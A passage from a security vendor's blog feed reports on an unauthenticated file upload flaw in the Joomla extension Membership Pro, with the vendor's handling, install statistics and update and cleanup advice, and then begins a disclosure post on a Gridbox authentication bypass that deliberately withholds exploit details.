&lt;li&gt;&lt;strong&gt;It is the same flaw, and the same fix, as &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;&lt;/strong&gt;, from the same developer and the same codebase, which we reported and which carries three CVEs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;There is only one plausible reason 4.6.2 exists.&lt;/strong&gt; Having had the bug demonstrated in one product, JoomDonation closed it in the sister product built on the same framework, one day after emailing Events Booking customers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The release admits the exposure in its own words.&lt;/strong&gt; 4.6.2 &quot;automatically disables the upload endpoint when your site does not use any File custom fields, reducing unnecessary exposure&quot; and ships a cleanup tool to &quot;remove any unauthenticated upload files that may have been left behind&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The vendor called it &quot;not a critical security issue.&quot; The Joomla CNA disagreed.&lt;/strong&gt; JoomDonation emailed customers that 4.6.2 was &quot;a security improvement rather than a vulnerability,&quot; with no advisory and no changelog entry of its own. It is now &lt;strong&gt;CVE-2026-62415&lt;/strong&gt;, rated &lt;strong&gt;9.1 critical&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;An anonymous upload path is not a footnote.&lt;/strong&gt; It is free, unattributable storage on your domain, and attackers go looking for exactly that&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 4.6.2, then run the cleanup tool.&lt;/strong&gt; The tool deletes upload files with no matching subscription record. There is a scheduled task version to keep doing it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Almost nobody is on the fix.&lt;/strong&gt; Across the Membership Pro installs we can see on our customers&apos; sites, fewer than one in a hundred were on 4.6.2 when we looked, and the single most common version was 4.6.1, the exact release it replaced&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why does Membership Pro 4.6.2 exist?&lt;/h2&gt;
&lt;p&gt;There is only one plausible reason, and it is us. We did not report a flaw in Membership Pro. We reported one in Events Booking, and Membership Pro 4.6.2 is what happened next.&lt;/p&gt;
&lt;p&gt;The case is circumstantial but it is not thin. Events Booking and Membership Pro are both JoomDonation products. Both run on the same in-house controller framework, the one whose front-end dispatcher performs &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;no CSRF check and no permission check by default&lt;/a&gt; and leaves each method to guard itself. Both offer File custom fields, the feature that lets a form collect an uploaded file during sign-up. And both, before their respective fixes, exposed that upload to anonymous visitors on every install.&lt;/p&gt;
&lt;p&gt;When we disclosed the Events Booking upload, the developer re-reviewed that codebase and shipped a series of changes to the endpoint. The tell is the timing and the shape. JoomDonation emailed Events Booking customers on 20 July. Membership Pro 4.6.2 was released on 21 July with an upload fix described in almost the same language, down to the phrase &quot;unauthenticated upload files&quot; and a cleanup tool that does the same job as the &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;orphan file cleanup tool&lt;/a&gt; shipped for Events Booking. A developer does not audit and re-engineer a specific upload endpoint across two products in a week for no reason. The reason was the report on the first one.&lt;/p&gt;
&lt;p&gt;We think that is the correct thing to have done, and we will say so plainly: finding a class of bug in one product and going to close it in your others is exactly the response you want from a vendor. Our objection is to how the release was announced, and to what the people who need to act were told about it.&lt;/p&gt;
&lt;h2&gt;What the release email admits&lt;/h2&gt;
&lt;p&gt;The customer email for 4.6.2 is the best evidence for what the flaw was, because it describes the fix while trying not to describe a vulnerability. Two sentences do the work.&lt;/p&gt;
&lt;p&gt;First: the upload endpoint &quot;is now automatically disabled when your site does not use any File custom fields, reducing unnecessary exposure.&quot; The word doing the lifting there is &quot;now.&quot; If disabling the endpoint on sites without File fields reduces exposure, then that exposure existed before, on every install that had Membership Pro present and had never touched the upload feature. That is the same defect the Joomla CNA recorded for Events Booking: an upload that was live by default, whether the site asked for it or not.&lt;/p&gt;
&lt;p&gt;Second: the email recommends running &quot;the new cleanup tool included in Membership Pro 4.6.2 to remove any unauthenticated upload files that may have been left behind before the update.&quot; The vendor&apos;s own words are &quot;unauthenticated upload files.&quot; You do not ship a tool to delete a category of file unless that category exists and you expect to find it in the wild.&lt;/p&gt;
&lt;p&gt;Set against those two admissions is the framing wrapped around them. The email calls the change &quot;security improvements&quot; rather than a vulnerability, states in bold that it is &quot;not a remote code execution vulnerability,&quot; and closes that &quot;while this is not considered a critical security issue, we recommend updating.&quot; JoomDonation published no changelog entry for 4.6.2 on &lt;a href=&quot;https://joomdonation.com/forum/membership-pro-changelog.html&quot;&gt;its public changelog&lt;/a&gt; and no security advisory of its own. The Joomla project&apos;s CNA did not agree it was nothing to worry about: it assigned &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62415&quot;&gt;CVE-2026-62415&lt;/a&gt;&lt;/strong&gt; for this exact flaw, rated &lt;strong&gt;9.1 critical&lt;/strong&gt;. The only account the vendor gave its own customers was an email telling them the opposite.&lt;/p&gt;
&lt;p&gt;That combination is the reason to worry. A fix for an anonymous write path into your web server, shipped with no vendor advisory and no changelog line, and a note telling customers it is not critical while the Joomla CNA files it as a 9.1 critical CVE, is the outcome least likely to get anybody to install it.&lt;/p&gt;
&lt;h2&gt;Why an anonymous file upload is such a problem&lt;/h2&gt;
&lt;p&gt;Code execution is the loudest thing an unauthenticated upload can buy an attacker, and treating it as the only thing that counts is how this kind of finding gets waved through. On a default configuration, this is not code execution, and we are not going to pretend it is. It is a stranger with write access to your file system, which is quite bad enough.&lt;/p&gt;
&lt;p&gt;Anonymous, unattributable file storage on somebody else&apos;s infrastructure is a commodity, and people go looking for it. An open upload endpoint on a legitimate business domain is close to ideal for that: it costs nothing, it is not registered to anyone, the bandwidth is billed to a stranger, and the content inherits the reputation of a real site with a real TLS certificate that no filter has any reason to block.&lt;/p&gt;
&lt;p&gt;What ends up in those folders is not theoretical. Pirated media and warez, because someone else is paying for the disk and the transfer. Phishing kits and fake login pages, which work far better when the URL is a genuine company domain than when it is a throwaway host. Malware and droppers staged for a different campaign entirely, so the attack on somebody else runs through your server. And illegal imagery, including material involving children, parked somewhere the people trading it will not be traced.&lt;/p&gt;
&lt;p&gt;The part that matters for you is that all of it arrives with your name on it. You signed the hosting contract. The IP address, the domain and the billing details are yours. When the abuse report is written it is addressed to you, and hosts generally suspend first and investigate afterwards, which means the first thing you know about it may be a dead site and a support ticket. Beyond that sit domain and IP blocklisting, a payment processor taking an interest, and for the worst categories of content a set of legal obligations considerably more serious than a hosting suspension.&lt;/p&gt;
&lt;p&gt;We have watched this happen. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms flaw&lt;/a&gt; we disclosed this month did not come to us from a code audit. It came from a Hetzner abuse report sent to one of our customers, who brought us the raw access log. That is what an anonymous upload endpoint looks like from the owner&apos;s side: a message from your host telling you your server has been doing something you knew nothing about.&lt;/p&gt;
&lt;p&gt;The quiet part is that you will probably not notice on your own. Nothing errors. No page breaks. Files accumulate in a directory nobody has any reason to open, attached to no subscription, and the site carries on serving memberships exactly as it did before.&lt;/p&gt;
&lt;h2&gt;Is this remote code execution?&lt;/h2&gt;
&lt;p&gt;Not on a default configuration, and the vendor is right about that much. A file upload constrained to image and document types cannot drop a web shell, so &quot;not a remote code execution vulnerability&quot; is a fair description of the shipped defaults. We said the same thing throughout our Events Booking write-up.&lt;/p&gt;
&lt;p&gt;The problem is the absolute claim underneath it. The list of permitted file types is an administrator-editable setting. On a site whose owner has widened it to accept an executable type, which is unusual but not unheard of where a form needs to accept unusual attachments, an anonymous upload becomes straightforward unauthenticated remote code execution. &quot;Attackers could not upload executable files&quot; is true of the defaults, not of every install, and a message sent to every customer is making a promise about every install.&lt;/p&gt;
&lt;p&gt;This is the same shape as the file upload flaws we found in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;, which were clean unauthenticated RCE, and it sits one configuration change away from joining them. How serious it is for you depends on your allowed file types and on how long your site ran an affected version with a public sign-up form. A new membership site nobody has found yet is probably fine. A site that has been in Google for years has been reachable by every scanner on the internet for as long as this code has existed.&lt;/p&gt;
&lt;h2&gt;What Membership Pro 4.6.2 actually changes&lt;/h2&gt;
&lt;p&gt;From the vendor&apos;s own description, 4.6.2 does three things to the upload path, and each maps onto a specific weakness in the versions before it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The endpoint is disabled when no File custom fields exist.&lt;/strong&gt; This is the headline fix. The upload is no longer live on installs that were not using it, which is the &quot;unnecessary exposure&quot; the email refers to. If your site has no File fields, 4.6.2 takes the endpoint off the board entirely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validation and abuse protection are added when File fields are in use.&lt;/strong&gt; Sites that do collect uploads keep the feature, now with additional checks on what gets accepted. The email does not enumerate them, and without a changelog we are not going to guess at the specifics, but this mirrors the rate limiting, per-field permission checks and content validation JoomDonation added to Events Booking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A cleanup tool removes files already left behind.&lt;/strong&gt; The new tool deletes upload files with no matching subscription record, and a scheduled task can run it on a timer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is no version below 4.6.2 that is safe here. The fix is the update, and unlike a SQL injection there is no malicious payload for a web application firewall to recognise. The attack is an ordinary, well-formed upload request that the site is designed to answer. The only thing wrong with it is who sent it, and your firewall has no way to know that. Updating is the whole of the defence.&lt;/p&gt;
&lt;h2&gt;Run the cleanup tool after you update&lt;/h2&gt;
&lt;p&gt;Updating closes the door. It does not empty the room behind it.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Do this after you update&lt;/p&gt;
    &lt;p&gt;Membership Pro 4.6.2 ships a tool that finds and deletes every file in the upload folder with no matching subscription record.&lt;/p&gt;
    &lt;p&gt;Run it even if you are certain you were never a target. It is the only way to see what that endpoint accepted while it was open, and there is a scheduled task version so it keeps checking.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The vendor documents both the &lt;a href=&quot;https://docs.joomdonation.com/membershippro/tools#delete-orphan-files&quot;&gt;cleanup tool&lt;/a&gt; and the &lt;a href=&quot;https://docs.joomdonation.com/membershippro/scheduled-tasks/delete-orphan-files&quot;&gt;scheduled task&lt;/a&gt;, the latter with a retention window that defaults to 72 hours. The documentation defines an orphan file as one &quot;upload by users but not associated to any subscription records&quot;, which is the vendor describing, in a help page written before any of this, a file that arrived on your server from somebody who never completed a subscription. If the tool finds nothing, that is good news you can only get by looking. If it finds files you do not recognise attached to no subscription, treat the site as having hosted content you did not put there, and work through our guide to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors in Joomla&lt;/a&gt; before you assume it was harmless.&lt;/p&gt;
&lt;h2&gt;Almost nobody is on the fixed version&lt;/h2&gt;
&lt;p&gt;Here is the part of this story that worries us more than the flaw does, and it has nothing to do with how clever the bug is.&lt;/p&gt;
&lt;p&gt;We can see Membership Pro installed on just over &lt;strong&gt;440 Joomla sites&lt;/strong&gt; across our customers&apos; accounts. When we checked which versions those sites were running the day 4.6.2 shipped, we did not find a well-updated majority with a few stragglers behind it. We found this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Version line&lt;/th&gt;
&lt;th&gt;Share of installs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4.6.2 (the fix)&lt;/td&gt;
&lt;td&gt;under 1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.6.0 or 4.6.1 (one or two releases behind)&lt;/td&gt;
&lt;td&gt;~44%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.x below 4.6&lt;/td&gt;
&lt;td&gt;~32%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3.x or older&lt;/td&gt;
&lt;td&gt;~23%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Read the top two rows together. Fewer than one install in a hundred had taken the fix, and the single most common version across every site was &lt;strong&gt;4.6.1, the exact release 4.6.2 replaces&lt;/strong&gt;. Nearly a quarter of installs were an entire major version or more behind, some of them still on 2.x and 1.6 builds that are years old.&lt;/p&gt;
&lt;p&gt;This is the uncomfortable truth behind every quiet security release. A fix now exists that will reach approximately nobody, because the sites running this extension were already far behind before the update shipped, and this one arrived with nothing but an email telling customers it was not critical. If you manage Joomla sites and have not looked at your extension versions recently, that table is probably a description of your own portfolio. I have never met an administrator who decided 4.4.1 was good enough. What I have met is a lot of people for whom updating an extension means logging into each site&apos;s admin one at a time, a job that grows with every client, so it waits until something breaks.&lt;/p&gt;
&lt;h2&gt;How do I find every Membership Pro site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is precisely why those version numbers get so old: the work of checking scales with the number of sites, so it stops happening.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Membership Pro once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query we ran to produce the version table above, and you can run it against your own sites in about ten seconds.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Membership Pro install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Membership Pro across every connected Joomla site and filter for anything below 4.6.2. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. When a fix ships we add the affected range to our vulnerability database, so every connected site still on a version below 4.6.2 is flagged automatically. You can also &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this one reaches your sites without you lifting a finger. You should not have to hear about a Joomla security release through a mailing list you might not be on, then audit a portfolio of client sites by hand to find out whether it is your problem.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running Membership Pro to &lt;strong&gt;4.6.2&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production site, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a full backup so you have a clean starting point&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run the cleanup tool&lt;/strong&gt; after updating, to delete any unauthenticated upload files left behind, and consider the scheduled task version&lt;/li&gt;
&lt;li&gt;If you are on a build several versions back, expect a real upgrade rather than a one-click patch, and test it somewhere other than production&lt;/li&gt;
&lt;li&gt;Do not rely on a firewall for this one. There is no payload to filter, so there is nothing for it to block&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;If the cleanup tool finds files you cannot account for, treat the site as potentially compromised and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one, because Joomla runs on thousands of third-party extensions and the ones that accept anonymous input keep producing bugs like this. This is the second JoomDonation upload endpoint to be hardened in a week, and it will not be the last extension to close a hole like this with a reassuring email and no advisory of its own. The hard part was never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before someone else does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this is disclosed you see exactly which sites are exposed in seconds, without opening a single admin panel.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;What we are and are not claiming&lt;/p&gt;
  &lt;p&gt;We did not discover or report the Membership Pro flaw. We reported the identical anonymous upload flaw in Events Booking, which carries &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60025&quot;&gt;CVE-2026-60025&lt;/a&gt;. The Membership Pro issue is now tracked separately as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62415&quot;&gt;CVE-2026-62415&lt;/a&gt;, assigned by the Joomla project&apos;s CNA and rated &lt;strong&gt;9.1 critical&lt;/strong&gt; (CVSS 3.1). This post reads across from our Events Booking audit and from JoomDonation&apos;s own 4.6.2 release email. One piece of nuance to that critical rating: on a default configuration the practical impact is anonymous file writes constrained to image and document types, which is serious but not a web shell. It rises to unauthenticated remote code execution only on a site whose allowed file types have been widened to include an executable type.&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Membership Pro for Joomla (&lt;code&gt;com_osmembership&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated file upload, enabled by default (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, classified &lt;a href=&quot;https://cwe.mitre.org/data/definitions/1188.html&quot;&gt;CWE-1188&lt;/a&gt; by the CVE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62415&quot;&gt;CVE-2026-62415&lt;/a&gt;, assigned by the Joomla CNA, published 21 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;9.1 critical (CVSS 3.1, &lt;code&gt;AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:N&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous file writes to the web server, on installs that were not using the upload feature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;1.0 to 4.6.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;4.6.2, released 21 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor record&lt;/td&gt;
&lt;td&gt;No JoomDonation advisory or changelog entry of its own at time of writing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Related disclosure&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking, same developer, same flaw class&lt;/a&gt;, reported by Phil Taylor of mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Our Events Booking disclosure&lt;/a&gt; - the anonymous upload flaw we reported in the sibling component, with the full technical detail and the three CVEs behind this fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;This was one of a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the wider run this fits into.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the opt-in security pattern in JoomDonation&apos;s controller framework that produces findings like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the canonical reference for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot;&gt;Membership Pro product page&lt;/a&gt; - where 4.6.2 is available to download.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>membership pro</category><category>vulnerability</category><category>file upload</category><enclosure url="https://mysites.guru/_astro/membership-pro-unauthenticated-file-upload.DHu7RzTD.png" length="0" type="image/png"/></item><item><title>Gridbox for Joomla: One Cookie and You Are a Super User</title><link>https://mysites.guru/blog/gridbox-critical-authentication-bypass/</link><guid isPermaLink="true">https://mysites.guru/blog/gridbox-critical-authentication-bypass/</guid><description>A critical unauthenticated authentication bypass in Gridbox for Joomla let anyone become a Super User by setting a single cookie. Fixed in 2.20.1. Update now.</description><pubDate>Mon, 20 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/gridbox&quot;&gt;Gridbox&lt;/a&gt; is a widely used drag-and-drop page builder for Joomla, built by Balbooa. It runs the front end of a lot of small business and agency sites, and on the sites we can see it is usually the thing the whole design depends on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru found a critical unauthenticated authentication bypass in Gridbox.&lt;/strong&gt; Balbooa fixed it in &lt;strong&gt;Gridbox 2.20.1&lt;/strong&gt;, released today, 20 July 2026. If you run Gridbox on any Joomla site, stop reading and go and update it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update, 10 August 2026: 2.20.1 is no longer the version to be on. Our &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;full audit of Gridbox&lt;/a&gt; nine days after this post found 23 further vulnerabilities, several of them actively exploited, and every CVE record for that set lists 1.0.0 to 2.20.1 as affected. Balbooa has shipped 2.20.2, 2.20.2.2 and 2.20.2.3 since. Update to &lt;strong&gt;2.20.2.3&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;The flaw&lt;/p&gt;
    &lt;p&gt;Gridbox trusted a value supplied by the visitor&apos;s own browser as proof of who they were. Set it to an administrator&apos;s username and you were logged in as that user.&lt;/p&gt;
    &lt;p&gt;No password. No login form. No existing session. One anonymous request.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru found this and reported it privately to Balbooa, copying the Joomla Security Strike Team. The fix is in Gridbox 2.20.1. We are withholding the exact cookie, the endpoint and any proof-of-concept. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A critical unauthenticated authentication bypass in Gridbox&lt;/strong&gt; let anyone become a Super User on a Joomla site by setting a single browser cookie&lt;/li&gt;
&lt;li&gt;We &lt;strong&gt;confirmed it live&lt;/strong&gt;: an anonymous request that returned nothing became a full administrator session, and Joomla itself recorded the user as logged in&lt;/li&gt;
&lt;li&gt;A Joomla Super User can edit templates, which is PHP execution, so this is &lt;strong&gt;full site compromise, usually full server compromise&lt;/strong&gt;, from one request&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Balbooa asked us to test Gridbox.&lt;/strong&gt; After our &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms disclosure&lt;/a&gt; earlier this month they said they had reviewed and hardened their other products, sent us a package and invited us to look. This was in the build they sent&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fixed in 2.20.1&lt;/strong&gt;, released 20 July 2026. The previous release was 2.20.0.2 in &lt;strong&gt;October 2025&lt;/strong&gt;, so the vulnerable code shipped for at least nine months&lt;/li&gt;
&lt;li&gt;The changelog entry is &lt;strong&gt;three words&lt;/strong&gt;: &quot;Critical authentication vulnerability&quot;. No affected versions, no impact, no urgency&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No announcement on the Gridbox blog.&lt;/strong&gt; The only place 2.20.1 appears there is in Balbooa&apos;s own asset URLs, because their own site is already running it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We were not told the release was coming&lt;/strong&gt;, and were never asked to verify that the fix closed what we reported&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61425&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/strong&gt;, assigned through the Joomla CNA&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What the flaw actually was&lt;/h2&gt;
&lt;p&gt;Authentication in a Joomla extension should come down to one question: has this person proved who they are? Gridbox answered a different question. It read a value out of the request that the visitor&apos;s own browser had supplied, took that value to be an identity, and acted on it.&lt;/p&gt;
&lt;p&gt;Anything the browser sends is attacker-controlled. A cookie is not a credential, it is a note the visitor writes to themselves, and the only reason a session cookie means anything is that the server issued it and can recognise its own signature. A cookie whose plain value is a username has no such property. You can type it yourself.&lt;/p&gt;
&lt;p&gt;So an anonymous visitor with no account could name an administrator and be treated as that administrator.&lt;/p&gt;
&lt;p&gt;We confirmed it against a live Joomla install rather than reasoning about it from the source. A guest request to a gated endpoint returned nothing, as it should. The same request, with one cookie added, returned the administrator-only content in full, and Joomla&apos;s own session state recorded the visitor as logged in. That is not a permissions edge case or a theoretical weakness. It is account takeover of any user on the site, chosen by name.&lt;/p&gt;
&lt;p&gt;On Joomla the ceiling is high, and it is worth being explicit about why this scores where it does. A Super User can edit template files from the administrator interface. Template files are PHP. So an authentication bypass that reaches Super User is a remote code execution chain, and from there the rest of the hosting account is usually reachable too. There is no configuration that makes this safe, no permission you could have set differently, and no firewall rule that helps, because the request is perfectly well formed and contains no payload to detect.&lt;/p&gt;
&lt;p&gt;We are deliberately not publishing the cookie name, the endpoint or a proof-of-concept. The fix is out. The detail can wait.&lt;/p&gt;
&lt;h2&gt;Balbooa asked us to test it&lt;/h2&gt;
&lt;p&gt;This is the part of the story we did not expect, and it is only fair to Balbooa to tell it in the right order.&lt;/p&gt;
&lt;p&gt;Earlier this month we found and disclosed an unauthenticated file upload flaw in &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, which became CVE-2026-56291. That one came to us through a hosting abuse report on a customer&apos;s live site, and Balbooa responded well: they took the report seriously and shipped a fix inside a day.&lt;/p&gt;
&lt;p&gt;On 17 July, Balbooa came back to us unprompted. They thanked us for the earlier disclosure, said it had prompted them to review their other products, and told us they had already hardened Gridbox. Then they sent us a package and invited us to test it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As a result, we&apos;ve been reviewing the security of our other products as well. From what we understand, you use automated tools to identify potential vulnerabilities, so we took the opportunity to harden several areas in Gridbox that we believed could potentially be improved. If you have some time, we&apos;d be interested to know whether your tools uncover anything we&apos;ve missed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is a good instinct, and we want to say so clearly, because a vendor volunteering their code for review is rarer than it should be. We ran it the same day.&lt;/p&gt;
